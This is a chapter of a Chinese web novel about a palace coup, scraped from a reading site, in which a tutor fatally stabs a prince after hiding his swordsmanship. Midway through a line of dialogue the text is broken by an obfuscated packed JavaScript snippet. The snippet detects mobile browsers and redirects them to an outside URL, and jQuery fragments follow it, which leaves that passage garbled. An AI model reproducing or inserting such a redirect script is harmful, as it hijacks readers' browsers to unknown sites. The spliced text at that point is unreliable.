默认冷灰
24号文字
方正启体

50.挥赤泪剖胆筹云开

作者:西飞陇山去本书字数:K更新时间:
    明子礼曾问:


    “殿下的十块玉佩形成一组,应着殿下的名字,怎么可以拆开来分给我呢?”


    姜十佩答他:


    “我既给了先生,就绝不会反悔收回。”


    “至于旁的……只要先生常伴我身边,不就算是没有分开么?”


    现在想来,名字多少是定了人一生的命数的。


    既取了“十”这个圆满的意思,却自斩为“九”;


    这一桩缺憾,最后也就应在了惠王的寿数上。


    ……


    奉德十九年七月初七,明子礼被单召入宫,从此再没有出来。


    七月初十,惠王带兵闯开宫禁。


    一路穿过正中宫道,不见任何人烟。


    而行至最后一道门时,迎接他的,是允王侍读沈厌卿。


    这身份低微,一向衣着朴素的侍读那日竟穿着张扬的大红色,极尽富贵,唯恐别人不知他即将上位。


    见了惠王,他不问安也不行礼,脸上挂着种平淡的微笑。


    就像是猎人看着猎物一步步走进陷阱,只袖手在一旁等待收获。


    姜十佩仰头看看头顶的架梁,纵横交叠,阴影无数,让他想起宗庙中的高挂的匾额,压在头顶让人喘不过气来。


    他知道那其中藏了不知多少人。


    如果父皇已经选了姜孚,那皇帝的暗卫组织也会被继承到姜孚手中。


    姜孚又年幼……


    那么那些他仅仅知道其存在的杀器们,此时就握在面前这羸弱书生的手里。


    也真是个没福的,面色白的和纸一样,衣服穿的那样厚也妆点不起来,看着和盗来的一般。


    惠王在兵士拥簇下向前压去,步调虽慢,但没有迟疑。


    等也是死,不如向前。


    任那厮藏了什么阴谋诡计,最多不过拼个鱼死网破。


    他知道,到了这一步,无论他怎样选,都难得一条生路了。


    “本王的七皇弟呢?”


    姜十佩皱着眉沉声发问。


    他想警告这沈侍读,天家兄弟自己的事情,轮不到他一个外人来插手。


    沈厌卿仍然只是微笑,持起了与惠王身份对等般的架子:


    “小殿下正为陛下的病伤心不已,没有精神出来迎人。”


    “惠王殿下也是来探病的么?”


    “若是,就请屏退不相关之人,同我来吧。”


    惠王冷笑一声,他周身的兵士顿时围得更紧了些,拥着他向前走。


    等到了更近的距离,他终于看清沈厌卿腰间挂着的那一抹蓝。


    ——正是明子礼的随身玉佩。


    姜十佩心中先是一沉,又很快燃起滔天怒火。


    他本只觉得沈厌卿看起来有些碍眼,现在却上升到了很不能食其肉寝其皮的程度。


    这样一个出身下贱,数年来处处与他为难的人,有什么资格戴那块玉佩?!


    “明子礼在哪?”


    姜十佩不再假惺惺维持什么平衡,直接高声喝道。


    谅对方也不敢现在动手。对内尘埃已定,外面要如何说还未可知;


    再者,沈厌卿就算是为了他那个主子的名声,也得仔细地、好好地考虑考虑。


    父皇还没有正式宣诏,若是沈厌卿此时将他杀了,对外再描一千一万次也未必描得干净。


    即使宣称七皇子被选中践祚,可当今圣上“还未断气”就残害自己的手足兄弟……


    这样的新帝,不知道还能不能得民心呢?


    若是反过来让他杀了姜孚,他却不怕这一点了。


    左右他的名声已经如此,再怎样也不会有更差的结果了。


    这是父皇给他的最后一次机会么?


    他不确定。


    他此时唯一能做的,只是克制住自己的愤怒,不被那块玉佩的易主冲昏头脑。


    沈厌卿见他失态,笑意更盛。


    这难得着一次红衣的侍读动作极轻地从腰间解下那块玉佩,拿在手里晃了晃:


    “我听说,明首席最是珍爱这件宝贝。”


    “如今见了,果然不是凡物,我也喜欢的紧。”


    “不过贸然拿了别人的东西,我总归是亏心,担心明首席要找我算账。”


    “嗯……惠王殿下,何不同我一起去看看他呢?”


    姜十佩咬紧了牙,提了提剑:


    “他与我发过誓,此生此玉永不离身!”


    “既落进你手里,定然是……”


    他顿了一下,竭力装作能忽略这件事的样子:


    “你如今拿一个死人来诱我上钩,未免太过无礼了吧?”


    沈厌卿很轻很慢地眨了眨眼,像是费了好些功夫才适应了现状。


    那玉佩在他手中摆了摆,最后躺进他手心里,像捧了一洼水。


    “……厌卿领教了。”


    “此物原本是殿下的东西,如今也应当还给殿下。”


    沈侍读忽然肃正了表情,以一种极哀痛极认真的神态望向他。


    “惠王殿下的心绪,厌卿也能明白。”


    “骤然失去至亲,殿下仍能面不改色,维持本心,是为真英雄。”


    姜十佩不知此人又要搞什么鬼,满脸戒备。


    沈厌卿却步步下阶,脱开了身后的护卫,孤身一人朝他走来。捧着那块玉佩,如捧着自己哀痛的眼泪。


    纵使惠王再能分清轻重缓急,此时也不由得去想:


    自己的首席门客死了,与这个隔壁王府的侍读有什么关系?


    二人间的距离越来越近,竟没有一个敢上前阻拦。


    梁上的暗卫们张满了弓,梁下的兵士们抽出了剑。


    那道红衣身影却像是切在酥油上的热刀,令周围的一切都柔顺地化开,又散开。


    谁都知道沈厌卿是不通武艺的羸弱书生,此时身上更是连把礼仪性的佩剑都没有;


    但只要碰他一下,头顶就会有人扑下来,谁也不愿去触这个霉头。


    除了姜十佩。


    全身披甲的三皇子拔出了剑,遥遥指向沈厌卿胸口。


    “站住,退回去。”


    沈厌卿不避,也不慌。


    谁能想到一个小小侍读竟有如此的胆色?


    可沈厌卿确然是一点颜色也没有变过,仍然依着原速前进,直到剑尖抵上了他的衣襟。


    他好像不识得那是怎样的利器,脸上的表情像是雕刻过的木偶,只把手中的东西双手向前递着:


    “物归原主。”


    “请收下吧,惠王殿下。”


    周围人反应过来,也都用武器指向他。


    沈厌卿只是平静道:


    “殿下在担心什么呢?”


    “殿下虽看不惯我,但也知道我一直以来做事算是磊落,但求个问心无愧。”


    “而今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295417|164822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自然也不会借此伤害殿下——难道要我起誓么?”


    姜十佩紧皱着眉头。


    “退回去。”


    “这东西对我来说已经没用了,随意你怎么处置。”


    沈厌卿极轻极轻地叹了一口气。


    “师兄没有看错人……这也是明师兄最后能为殿下做的事了。”


    还不待惠王听清他突然吐出的那个陌生称呼,沈厌卿已疾电般从腰间抽出一道银光;


    那银光本是软而无形的,在他手中一抖就化成了长剑,顺着那力道直直刺入姜十佩胸口。


    “——唔!”


    书生?!


    此人原来会武?!


    那一剑刺的太准,姜十佩的意识被剧痛占据,迅速模糊下去。


    他余光中见到那玉佩落在地上,跌的粉碎。


    于是他尽最后的力气出剑,却只捅进沈厌卿肩胛。


    周围人被这巨变惊到,空气竟凝滞了刹那。


    梁上伏着的人终于肯落下来,落雨一般,形如鬼魅;


    他们扒开侍读周围的人,阻止他们将武器刺的更深。


    沈厌卿仍与姜十佩僵持着,维持着刺入的动作不变,好像要看着对方彻底闭眼才肯安心。


    他全身上下皆是血色模糊,将本就张扬的红衣染得更红。


    在这能将人逼疯的剧痛之下,他居然还是笑着的。


    只不过这笑容再不谦和柔婉了,充斥着种飞蛾扑火般的癫狂,好像此时正被无比的兴奋和幸福淹没。


    ——他可没想着要活着回去。


    他抽回剑,高高举起,扬声道:


    “惠王护驾有功,加封亲王,从者皆封赏——!”


    谁还敢信他的话呢?


    沈侍读二十余年来只说过这一次谎,就将他的信誉都败光了。


    他不是个书生,也不是什么平民出身——光看那出手的决绝就能知道,他在此前已经练过了不知多少年。


    他是个鬼,伏在七皇子身边,整日装着温润,骗过了所有人。


    可他赢了,所以谁敢不信呢?


    有人放下武器,任人领了去,最后依然难逃惨死的结局;


    有人拼杀到底,终于被碎成尸块,砍走了头颅——沈侍读吩咐过的,每个人都要用首级作证来数清。


    暗卫中的领头找紧机会,从一片混乱中将未来的帝师捞了出去。


    那一日殿中流的血,越过门槛往外溢出去,淋淋漓漓由高至下打透了数十级台阶。


    新帝登基前,刷洗了一两个月才彻底洗净。


    而未来的帝师未曾摆过威风就转进幕后,在生死线上挣扎了几月才睁开眼。


    ……


    如今只剩下一个问题。


    ……


    “为什么姜十佩不知道您会武呢?”


    姜孚望着他的老师,似乎越过衣服的布料,他又能看见那些可怖的疤痕。


    这整个圈套看起来荒谬又真实,但只要用心看过,就能发现那个破局点:


    倘若早有人知道沈厌卿有武功在身,那么就不会让他轻易走到惠王面前。


    沈厌卿也因此不可能独身上前,说那些话骗取惠王的信任。


    姜孚也记得,在他做皇子时,老师从未在他面前显露过……


    沈厌卿低头看着那滴几经易主的玉,良久叹了一口气:


    “因为明子礼不曾告诉过他。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)